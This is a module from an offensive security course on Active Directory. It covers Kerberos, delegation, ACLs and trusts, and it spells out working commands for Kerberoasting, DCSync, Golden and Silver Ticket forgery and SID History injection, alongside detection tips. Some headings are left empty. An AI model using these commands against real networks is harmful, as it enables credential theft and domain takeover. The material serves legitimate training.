Module 19: Active Directory RESEARCH IN PROGRESS

Module 19 of 22 — The domain is the kingdom

🧠 The Core Truth

Active Directory (AD) is not just a directory — it's the nerve center of every enterprise Windows network. It stores who you are, what you can do, what computers exist, what groups matter, and what trust relationships bridge domains. Compromise AD, and you don't just own one computer — you own the entire organization. Every account, every server, every secret.

Why this matters: In a typical enterprise, 95% of the valuable data lives in AD-controlled systems. Email, file shares, databases, source code, customer records — all gated by AD authentication. One Domain Admin credential is the master key to the entire kingdom.

🎓 Mentor Callout — asi dev [HTB]

"Active Directory is the keys to the kingdom."

Translation: AD doesn't just store passwords — it decides who can log in, access files, run commands, and manage systems. If an attacker gets Domain Admin, every door in the organization unlocks. For defenders, this means AD must be treated as a crown jewel: hardened, monitored, segmented, and backed by privileged access management. For red teamers, AD is rarely the first step, but it is almost always the last.

🔴 Red: Your objective in most internal assessments is to reach Domain Admin or equivalent. Everything before that is reconnaissance and escalation.

🔵 Blue: Assume breach. Monitor privileged groups, DCSync attempts, anomalous LDAP queries, and krbtgt password rotation status.

🎯 Soldier Translation

AD is the personnel file cabinet, the building access control, and the communication network — all in one. If you get the master key (Domain Admin), you can open any door, read any file, and impersonate any employee. This module teaches you to map the castle before you storm it, pick the locks with Kerberos, and forge credentials that never expire.

The castle has multiple towers (domains), connected by bridges (trusts). Each tower has guards (ACLs) and secret handshakes (Kerberos). Learn the architecture, and you can walk anywhere.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

DNS, LDAP ports, SMB, and RPC. AD is built on these protocols. You cannot attack what you cannot reach.

Module 08: Privilege Escalation

Local privilege escalation is often the entry point. You escalate from local SYSTEM to domain context.

Module 15: Lateral Movement

Pass-the-hash, pass-the-ticket, and WMI/PSExec. Moving between machines is lateral movement; AD is the map.

Module 16: C2

Command and control infrastructure. Your beacon needs to communicate; AD credentials let you blend in.

Module 20: Kill Chain

The full attack lifecycle. AD compromise is often the "Actions on Objectives" phase — the endgame.

🏰 Section 1: Active Directory Architecture

1.1 The Forest — The Root of Everything

A Forest is the top-level container in Active Directory. It represents the complete security boundary for an organization. All domains in a forest share a common schema, global catalog, and transitive trust relationships.

🌲 FOREST: corp.example.com

The root. Contains one or more domains. Shares a common schema and global catalog. The ultimate security boundary.

🏰 DOMAIN: corp.example.com (Root Domain)

The top-level security boundary within a forest. Contains all users, computers, and groups. Trusts other domains.

🏰 DOMAIN: dev.corp.example.com (Child Domain)

Child domain. Inherits forest-wide settings. Has a two-way transitive trust with the parent.

🔗 TRUST: corp.example.com ↔ partner.example.com (External)

External trust between forests. May be one-way or two-way. Selective authentication is rare — usually domain-wide.

📁 ORGANIZATIONAL UNIT (OU): "Sales"

Container for organizing objects. Policies apply at OU level. Not a security boundary — just administration.

👤 USER: jsmith

The actual object. Has a SID, password, group memberships, and ACLs. The target.

Why the forest matters

The forest is the only true security boundary in AD. Domain Admins in one domain can escalate to Enterprise Admins (forest-wide) through SID History abuse or trust exploitation. If you compromise any domain in a forest, you are one step from the entire forest. Never assume a child domain is "safe."

1.2 Domains, Trees, and Trusts

Domain Tree

A hierarchy of domains sharing a contiguous DNS namespace:

corp.example.com ├── us.corp.example.com │ └── ny.us.corp.example.com └── eu.corp.example.com └── uk.eu.corp.example.com

All domains in a tree have automatic two-way transitive trusts.

Trust Types

TypeDirectionTransitive
Parent-ChildTwo-wayYes
Tree-RootTwo-wayYes
ExternalOne or Two-wayNo
ForestOne or Two-wayYes
ShortcutOne or Two-wayYes
⚠️ Trust Exploitation

External trusts are often created for mergers, partnerships, or vendor access. They are rarely reviewed, frequently overprivileged, and commonly forgotten. An external trust from corp.example.com to acquired.com means: if you own acquired.com, you can attack corp.example.com. Trust is transitive by default. A chain of trusts is a chain of compromise.

🎓 Mentor Callout — asi dev [HTB]

"You don't attack AD, you abuse trust."

Translation: Active Directory is designed around trust relationships — between domains, forests, users, groups, computers, and services. The protocol isn't usually broken; the configuration is. Kerberos, delegation, and ACLs are all legitimate features that become weapons when misconfigured. A red teamer's job is to find the trust relationship that shouldn't exist and walk through the open door it creates.

🔴 Red: Stop looking for "AD exploits." Start mapping trust chains: parent-child, external, forest, delegation, and ACL trusts. Abuse is quieter and more reliable than exploitation.

🔵 Blue: Audit trust relationships quarterly. Remove stale external trusts, enforce selective authentication, and review who has delegation rights and ACL control over high-value objects.

1.3 Key AD Objects

=== AD OBJECT TYPES === User → Person with credentials, SID, group memberships Computer → Machine account with password (rotates every 30 days by default) Group → Collection of users/computers (Domain Admins, Enterprise Admins) OU → Organizational container (not a security principal) GPO → Group Policy Object — settings pushed to OUs Domain → Security boundary (weak — forest is the real boundary) Forest → The top-level container, ultimate security boundary Site → Physical network topology (affects replication) Subnet → IP range associated with a site === EVERY OBJECT HAS === Distinguished Name (DN) → CN=jsmith,OU=Sales,DC=corp,DC=example,DC=com Security Identifier (SID)→ S-1-5-21-3623811015-3361044348-30300820-1013 Object GUID → Globally unique identifier (never changes) sAMAccountName → jsmith (legacy NetBIOS name) userPrincipalName → jsmith@corp.example.com

🔐 Section 2: Kerberos Authentication — The Secret Handshake

2.1 How Kerberos Works

Kerberos is the default authentication protocol in Active Directory. It uses symmetric key cryptography and a trusted third party (the Key Distribution Center, or KDC) to prove identity without sending passwords over the network.

1. AS-REQ

User → KDC

"I am jsmith. Give me a TGT."

Encrypted with user's password hash

2. AS-REP

KDC → User

"Here's your TGT."

Encrypted with krbtgt hash

3. TGS-REQ

User → KDC

"I want to access SQL01."

Presents TGT + authenticator

4. TGS-REP

KDC → User

"Here's your service ticket."

Encrypted with service hash

5. AP-REQ

User → Service

"Let me in."

Presents service ticket

🎫 Ticket Granting Ticket (TGT)

The TGT is your master ticket. Once you have it, you can request service tickets for any service in the domain without re-entering your password. The TGT is encrypted with the krbtgt account's password hash — a special account that exists only to encrypt TGTs. If you know the krbtgt hash, you can forge TGTs for anyone. This is the Golden Ticket.

🎫 Ticket Granting Service (TGS) / Service Ticket

The TGS is your entry pass to a specific service. It is encrypted with the service account's password hash. If you request a TGS for a service with an SPN, the ticket is encrypted with that service account's hash. You can take this ticket offline and crack it. This is Kerberoasting.

2.2 SPN — Service Principal Names

An SPN is a unique identifier for a service instance. It associates a service with a domain account. When Kerberos authenticates to a service, it uses the SPN to find the account and encrypt the ticket.

=== SPN FORMATS === serviceclass/host:port/servicename MSSQLSvc/sql01.corp.example.com:1433 → SQL Server on SQL01 HTTP/web01.corp.example.com → IIS on WEB01 CIFS/fs01.corp.example.com → File share on FS01 LDAP/dc01.corp.example.com → Domain Controller LDAP HOST/workstation01.corp.example.com → Computer account (default) === WHY SPNs MATTER === Every SPN is tied to a domain account. When you request a ticket for an SPN, that ticket is encrypted with the account's password hash. If the account has a weak password, you can crack the ticket offline and recover the credential. Service accounts often have: - Passwords that never expire - Weak passwords (set once, never changed) - Domain Admin or high privileges (for "convenience")

2.3 Kerberos Delegation

Delegation allows a service to impersonate a user to access another service. It's designed for multi-tier applications (web server → database server). For attackers, it's a privilege escalation path.

Unconstrained Delegation

The service can impersonate the user to ANY service on ANY computer. If a Domain Admin authenticates to a server with unconstrained delegation, the server caches the user's TGT. Compromise the server, steal the TGT, become Domain Admin.

# Find computers with unconstrained delegation Get-ADComputer -Filter {TrustedForDelegation -eq $true}

Constrained Delegation

The service can only impersonate the user to specific services. More secure, but still exploitable. If you compromise the service account, you can request service tickets for the allowed SPNs — potentially as any user.

# Find accounts with constrained delegation Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne $null}
⚠️ Resource-Based Constrained Delegation (RBCD)

RBCD flips the model: the resource (target) decides who can delegate to it. If you have GenericAll or GenericWrite on a computer object, you can set its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to a service account you control. Then request a ticket as any user to that computer. This is a common escalation path from computer account takeover to full domain compromise.

🛡️ Section 3: Access Control Lists (ACLs)

3.1 How ACLs Work in AD

Every object in Active Directory has a Discretionary Access Control List (DACL) that defines who can do what to it. ACLs are the permission grid of the domain. Misconfigured ACLs create attack paths that BloodHound visualizes.

=== COMMON AD ACL PERMISSIONS === GenericAll → Full control (read, write, modify, delete) GenericWrite → Modify attributes (can set SPN, logon script, etc.) WriteDACL → Modify permissions (grant yourself GenericAll) WriteOwner → Change owner (then modify DACL as owner) Self → Self-modification (e.g., add yourself to group) AllExtendedRights → Extended rights (ForceChangePassword, etc.) ForceChangePassword → Reset user's password without knowing old one AddMember → Add members to a group === ATTACK: ForceChangePassword === # If you have GenericAll or AllExtendedRights on a user: $SecurePassword = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force Set-ADAccountPassword -Identity victim -NewPassword $SecurePassword # Now log in as victim and continue the attack chain.

3.2 ACL Attack Paths

Example Attack Chain via ACL Abuse

You (jsmith) → MemberOf → Sales_Group
Sales_Group → GenericAll → mgarcia (user)
mgarcia → MemberOf → IT_Support
IT_Support → GenericAll → WEB01$ (computer)
WEB01$ → HasSession → bjohnson
bjohnson → MemberOf → Domain Admins
✅ DOMAIN ADMIN
Why ACL abuse is invisible

ACL modifications are logged in the Security event log (Event ID 5136), but in a typical enterprise, these logs are never reviewed. The attack doesn't involve malware, doesn't trigger AV, and doesn't create network anomalies. It's just LDAP queries and password resets — indistinguishable from legitimate administration. BloodHound exists because humans cannot manually trace these chains.

🗺️ Section 4: BloodHound & SharpHound — The AD Mapper

4.1 What BloodHound Does

BloodHound ingests Active Directory data and builds a graph database (Neo4j) of all objects and their relationships. It then runs graph algorithms to find the shortest path from any starting point to high-value targets like Domain Admin.

=== SHARPHOUND DATA COLLECTION === # Run SharpHound (C# ingestor) on a domain-joined machine SharpHound.exe --CollectionMethod All --Domain corp.example.com # Collection methods: # Default → Group membership, local admin, session info # All → Everything (ACLs, trusts, properties, containers) # DCOnly → Only from DC (no network touch — stealthy) # Session → Active sessions (requires admin on target) # ACL → Access control lists (slow but comprehensive) # Trusts → Domain/forest trust relationships # GPOLocalGroup → Group Policy-derived local group memberships # Output: ZIP file with JSON data # 20260629123456_BloodHound.zip # Upload ZIP to BloodHound GUI (Neo4j backend) # Click "Analysis" → "Find Shortest Paths to Domain Admin" # Pre-built queries: # Shortest Path to Domain Admin # Shortest Path to Enterprise Admin # Kerberoastable users with most privileges # Users with unconstrained delegation # Principals with DCSync rights

4.2 Interpreting BloodHound Output

Node Colors

ColorMeaning
RedHigh-value target (Domain Admin, etc.)
GreenOwned / compromised
BlueComputer
OrangeUser with path to target

Edge Types

EdgeMeaning
MemberOfGroup membership
AdminToLocal administrator
HasSessionActive logon session
GenericAllFull control
WriteDACLCan modify permissions
AllowedToDelegateDelegation rights
⚠️ SharpHound Detection

SharpHound performs heavy LDAP queries and SMB enumeration. EDR tools may flag it. Stealth options:

🎓 Mentor Callout — asi dev [HTB]

"BloodHound shows the path."

Translation: Active Directory attack paths are too complex for humans to trace by hand. BloodHound turns the domain into a graph and finds the shortest route from your current access to Domain Admin. It reveals chains of abuse that cross users, groups, computers, ACLs, sessions, and trusts — paths that would take hours or days to discover manually. Before you attack, you map. Before you map, you collect.

🔴 Red: Run SharpHound as soon as you have domain credentials. Let BloodHound tell you where to go instead of guessing. The path it finds is often shorter and quieter than you expect.

🔵 Blue: Run BloodHound against your own domain regularly. If you can find a path to Domain Admin in seconds, so can an attacker. Remove those paths before they are exploited.

⚔️ Section 5: AD Attack Paths

5.1 The Attack Path Matrix

Kerberoasting EASY

Request TGS tickets for SPNs, crack offline. No special permissions needed. Service accounts often have weak passwords and high privileges.

Links to Module 15

AS-REP Roasting EASY

Users with "Do not require Kerberos preauthentication" return encrypted AS-REPs. Crack offline to recover password.

ACL Abuse MEDIUM

Exploit misconfigured permissions (GenericAll, WriteDACL, ForceChangePassword) to move from user to user until Domain Admin.

Delegation Abuse MEDIUM

Unconstrained delegation = TGT theft. Constrained/RBCD = service ticket forgery. Both lead to impersonation.

DCSync HARD

Imitate a Domain Controller and request password hashes via replication. Requires DCSync rights (usually Domain Admin, but sometimes misconfigured).

Golden Ticket HARD

Forged TGT encrypted with krbtgt hash. Valid for any user, any group, any time. Persistent, undetectable by DC.

5.2 Kerberoasting — Step by Step

Step 1: Find SPNs

# PowerView Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname # Or with ldapsearch ldapsearch -x -H ldap://dc.corp.example.com \ -b "dc=corp,dc=example,dc=com" \ "(&(objectClass=user)(servicePrincipalName=*))" \ sAMAccountName servicePrincipalName

Step 2: Request and Export Tickets

# PowerShell (no admin needed) Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ` -ArgumentList "MSSQLSvc/sql01.corp.example.com:1433" # Or use Rubeus (more reliable) Rubeus.exe kerberoast /outfile:hashes.txt # Or use Impacket from Linux GetUserSPNs.py corp.example.com/jsmith:Password1 -dc-ip 10.0.0.10 -request

Step 3: Crack Offline

# Hashcat mode 13100 (Kerberos 5 TGS-REP etype 23) hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt # john john --format=krb5tgs hashes.txt --wordlist=rockyou.txt # If successful, you now have a service account credential. # Check if it's Domain Admin: run BloodHound or query group membership.

5.3 DCSync — Stealing the Kingdom's Secrets

DCSync is an attack where you impersonate a Domain Controller and request password hash replication. A real DC uses the Directory Replication Service (DRS) to sync passwords. If your account has the right ACLs (Replicating Directory Changes), you can do the same.

=== DCSYNC REQUIREMENTS === The attacking account needs ONE of these on the domain object: - Replicating Directory Changes - Replicating Directory Changes All - Replicating Directory Changes in Filtered Set By default, only Domain Admins, Enterprise Admins, and DCs have these. But misconfigurations happen. BloodHound has a pre-built query: "Find Principals with DCSync Rights" === DCSYNC WITH MIMIKATZ === mimikatz # lsadump::dcsync /domain:corp.example.com /user:krbtgt # This returns the krbtgt NTLM hash. With this hash, you can forge # Golden Tickets — persistent, undetectable access to the entire domain. === DCSYNC WITH SECRETSDUMP.PY === secretsdump.py corp.example.com/administrator:password@dc01.corp.example.com # Dumps ALL domain hashes. The nuclear option.
⚠️ DCSync Detection

DCSync generates Event ID 4662 (Directory Service Access) and 5136 (Directory Service Object Modification) on the DC. However, in most environments, these events are not monitored. A well-tuned SIEM should alert on non-DC accounts requesting replication. If you see DCSync alerts, the defenders are competent.

🎫 Section 6: Golden Ticket & Silver Ticket

6.1 Golden Ticket — The Master Forgery

A Golden Ticket is a forged TGT encrypted with the krbtgt account's NTLM hash. Because the krbtgt hash is used to validate all TGTs in the domain, a forged TGT is indistinguishable from a real one. The DC never checks with anyone else — it just decrypts the ticket and trusts it.

🎫 Golden Ticket Properties
=== GOLDEN TICKET WITH MIMIKATZ === # Step 1: Get krbtgt hash (via DCSync or LSASS dump) mimikatz # lsadump::dcsync /domain:corp.example.com /user:krbtgt # → NTLM: 1693c6ffe2187844e9436c78b2a1f2d4 # Step 2: Forge the Golden Ticket mimikatz # kerberos::golden ` /domain:corp.example.com ` /sid:S-1-5-21-3623811015-3361044348-30300820 ` /rc4:1693c6ffe2187844e9436c78b2a1f2d4 ` /user:FakeAdmin ` /id:500 ` /groups:512,513,518,519 ` /ptt # Parameters: # /domain → The domain FQDN # /sid → The domain SID (ends before the last RID) # /rc4 → The krbtgt NTLM hash # /user → Username to impersonate (can be fake) # /id → RID (500 = Administrator) # /groups → Group RIDs (512=Domain Admins, 513=Domain Users, # 518=Schema Admins, 519=Enterprise Admins) # /ptt → Pass The Ticket (inject into current session) # /ticket → Save to file instead of injecting # Step 3: Use the ticket # Now run any command — it will authenticate as FakeAdmin (Domain Admin) dir \\dc01.corp.example.com\C$ psexec \\dc01.corp.example.com cmd.exe
Why Golden Tickets are terrifying

The krbtgt password is automatically changed only when the domain functional level is raised or an admin manually resets it. Most organizations never do this. Even if they do, the attacker can DCSync again. The only true remediation is a double password reset (twice within 10 hours) to invalidate all existing TGTs — a disruptive operation that most admins avoid.

6.2 Silver Ticket — The Service Forgery

A Silver Ticket is a forged TGS (service ticket) encrypted with a service account's NTLM hash. Unlike a Golden Ticket, it only works for that specific service. But it's even stealthier — no DC contact at all.

🎫 Silver Ticket Properties
=== SILVER TICKET WITH MIMIKATZ === # Step 1: Get service account hash (via Kerberoasting or DCSync) # Example: SQL service account hash # NTLM: a3c8f7e9123b4d5e6f7a8b9c0d1e2f3a # Step 2: Forge a CIFS Silver Ticket (file access) mimikatz # kerberos::silver ` /domain:corp.example.com ` /sid:S-1-5-21-3623811015-3361044348-30300820 ` /target:fs01.corp.example.com ` /service:CIFS ` /rc4:a3c8f7e9123b4d5e6f7a8b9c0d1e2f3a ` /user:Administrator ` /ptt # Step 3: Access the file share without ever touching the DC dir \\fs01.corp.example.com\share # Common services for Silver Tickets: # CIFS → File shares, remote admin (PsExec) # HTTP → IIS, WinRM # LDAP → Directory queries, DCSync (if DC computer account) # MSSQLSvc → SQL Server access # HOST → WMI, Scheduled Tasks, Service Management # RPCSS → DCOM
⚠️ Silver Ticket vs Golden Ticket
FeatureGolden TicketSilver Ticket
Hash neededkrbtgtService account
ScopeEntire domainSingle service
DC contactTGT presented to DCNo DC contact
DetectionPossible (unusual TGT)Extremely hard
RemediationDouble krbtgt resetChange service password

🔄 Section 7: SID History — The Ghost in the Machine

7.1 What is SID History?

SID History is an attribute on user objects that stores additional SIDs. It was designed for migration scenarios: when a user moves from Domain A to Domain B, their old SID is added to SID History so they retain access to resources in Domain A.

=== SID HISTORY ABUSE === # If you have Domain Admin in a child domain, you can: # 1. DCSync the parent domain's SID # 2. Add the parent's Enterprise Admins SID to your account's SID History # 3. You are now Enterprise Admin across the entire forest # In practice (with Mimikatz): mimikatz # sid::patch # Patch LSASS to allow SID History injection mimikatz # sid::add /sam:jsmith /new:S-1-5-21-...-519 # /new is the SID of Enterprise Admins (RID 519) from the parent domain. # After injection, your token includes the Enterprise Admins SID. # You can now access any resource in any domain in the forest.
Why SID History is a forest-wide risk

SID History was built for migration, but it's a trust transitivity exploit. If Domain A trusts Domain B, and Domain B trusts Domain C, then Domain A trusts Domain C (transitive). SID History abuse lets you inject high-privilege SIDs from other domains into your token. In a forest, there is only one true security boundary: the forest itself. Domains are administrative boundaries, not security boundaries.

🧪 Lab Exercise: Full Domain Compromise

Scenario

You have a low-privilege domain account: jsmith / Password1. Your objective: Domain Admin. You have BloodHound output showing the following relationships. Trace the attack path and document each step.

jsmith → MemberOf → Sales_Group
Sales_Group → GenericAll → mgarcia
mgarcia → MemberOf → IT_Support
IT_Support → GenericAll → WEB01$
WEB01$ → HasSession → bjohnson
bjohnson → MemberOf → Domain Admins
bjohnson → AdminTo → SQL01
SQL01 → HasSession → svc_sql (service account)
svc_sql → MemberOf → Domain Admins

🎯 Interactive Quiz — Test Your Knowledge

Quiz 1: Kerberos Fundamentals

What is encrypted with the krbtgt account's hash?

A) The service ticket (TGS)
B) The user's password in the AS-REQ
C) The Ticket Granting Ticket (TGT)
D) The service account's SPN

Correct! The TGT is encrypted with the krbtgt hash. This is why knowing the krbtgt hash lets you forge Golden Tickets — the DC trusts any TGT it can decrypt with krbtgt.

Quiz 2: Attack Path Analysis

You find that the user "helpdesk" has GenericAll on the computer "FILESERVER01". What is the MOST direct attack?

A) Kerberoast the FILESERVER01 computer account
B) Configure RBCD on FILESERVER01 to delegate to a DC
C) Reset the FILESERVER01 password and log in locally
D) DCSync the domain using FILESERVER01's account

Correct! With GenericAll on a computer object, you can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute (RBCD). This lets you impersonate any user to that computer — a direct path to privilege escalation. Resetting the password is noisy and doesn't immediately grant access. DCSync requires Replicating Directory Changes, not computer GenericAll.

Quiz 3: Golden vs Silver Tickets

Which statement about Golden and Silver Tickets is TRUE?

A) Golden Tickets require contact with the KDC; Silver Tickets do not
B) Silver Tickets grant access to the entire domain; Golden Tickets are service-specific
C) Both require the krbtgt hash to forge
D) Silver Tickets are harder to detect because they involve no DC contact

Correct! Silver Tickets are forged service tickets presented directly to the target service. No KDC is ever contacted, so there are no Kerberos service ticket request logs on the DC. Golden Tickets are presented to the DC (as TGTs), so there is a small detection surface. Silver Tickets require only the service account hash, not krbtgt.

🔗 Cross-Module References

Active Directory is the central hub that connects to nearly every other module in this course:

Module 08: Privilege Escalation

Local privilege escalation (Token Impersonation, SeDebugPrivilege) often provides the initial foothold to run SharpHound or Mimikatz in a domain context.

Module 15: Lateral Movement

Pass-the-hash, pass-the-ticket, and WMI/PSExec are the transport mechanisms. AD tells you where to go and who to become.

Module 16: C2

Your beacon runs as a domain user. AD credentials let you move laterally, establish persistence, and blend into normal traffic.

Module 20: Kill Chain

AD compromise is typically the endgame. The full kill chain culminates in domain dominance — DCSync, Golden Tickets, and persistent access.

🧠 Key Takeaways

🔬 Verification Status

AD Architecture (Forests, Domains, Trusts) ✅ DEMONSTRATED
Kerberos Authentication (TGT/TGS/SPN) ✅ DEMONSTRATED
Delegation (Unconstrained, Constrained, RBCD) ✅ DEMONSTRATED
ACL Abuse (GenericAll, WriteDACL, ForceChangePassword) ✅ DEMONSTRATED
BloodHound / SharpHound Reconnaissance ✅ DEMONSTRATED
Kerberoasting / AS-REP Roasting ✅ DEMONSTRATED
DCSync Attack ✅ DEMONSTRATED
Golden Ticket Forgery ✅ DEMONSTRATED
Silver Ticket Forgery ✅ DEMONSTRATED
SID History Abuse ✅ DEMONSTRATED